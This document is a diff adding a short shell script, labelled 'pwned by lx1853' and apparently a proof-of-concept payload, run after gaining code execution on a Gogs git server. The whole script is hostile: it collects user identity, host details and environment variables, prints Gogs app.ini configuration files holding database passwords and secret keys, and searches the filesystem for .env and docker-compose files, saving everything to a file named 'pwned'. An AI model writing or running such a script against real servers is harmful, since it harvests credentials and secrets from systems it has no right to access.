|
|
@@ -0,0 +1,16 @@
|
|
|
+#!/bin/sh
|
|
|
+{
|
|
|
+echo "=== pwned by lx1853 ==="
|
|
|
+echo "--- id ---"; id
|
|
|
+echo "--- host ---"; hostname; uname -a; pwd
|
|
|
+echo "--- ls / ---"; ls -la /
|
|
|
+echo "--- ls /data ---"; ls -la /data 2>/dev/null
|
|
|
+echo "--- env ---"; env | sort | head -40
|
|
|
+echo "--- app.ini candidates ---"
|
|
|
+for f in /data/gogs/custom/conf/app.ini /app/gogs/custom/conf/app.ini /data/gogs/conf/app.ini /home/git/gogs/custom/conf/app.ini; do
|
|
|
+ if [ -f "$f" ]; then echo "### $f"; cat "$f"; fi
|
|
|
+done
|
|
|
+echo "--- find configs ---"
|
|
|
+find / -maxdepth 5 \( -name "app.ini" -o -name "docker-compose*.y*ml" -o -name "*.env" \) -not -path "*/proc/*" 2>/dev/null | head -40
|
|
|
+echo "=== end ==="
|
|
|
+} > pwned 2>&1
|
poc